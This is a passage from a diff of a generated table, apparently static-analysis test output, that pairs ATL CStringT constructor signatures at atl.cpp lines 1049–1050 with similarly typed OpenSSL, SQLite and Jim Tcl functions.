*,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | 